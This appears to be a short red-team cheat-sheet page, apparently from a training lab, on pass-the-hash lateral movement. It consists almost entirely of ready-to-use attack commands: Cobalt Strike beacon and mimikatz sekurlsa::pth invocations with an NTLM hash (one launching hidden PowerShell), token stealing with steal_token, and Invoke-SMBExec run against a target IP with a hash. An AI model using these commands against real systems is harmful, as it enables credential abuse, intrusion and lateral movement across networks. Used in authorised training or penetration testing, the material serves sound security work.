Pass The Hash

beacon> pth DEV\jking 4ffd3eabdce2e158d923ddec72de979e

beacon> mimikatz sekurlsa::pth /user:jking /domain:dev.cyberbotic.io /ntlm:4ffd3eabdce2e158d923ddec72de979e

beacon> mimikatz sekurlsa::pth /user:jking /domain:dev.cyberbotic.io /ntlm:4ffd3eabdce2e158d923ddec72de979e /run "powershell -w hidden"
beacon> steal_token 6284
beacon> rev2self
beacon> kill 6284
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1

Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
PreviousUser ImpersonationNextOver Pass The Hash

Last updated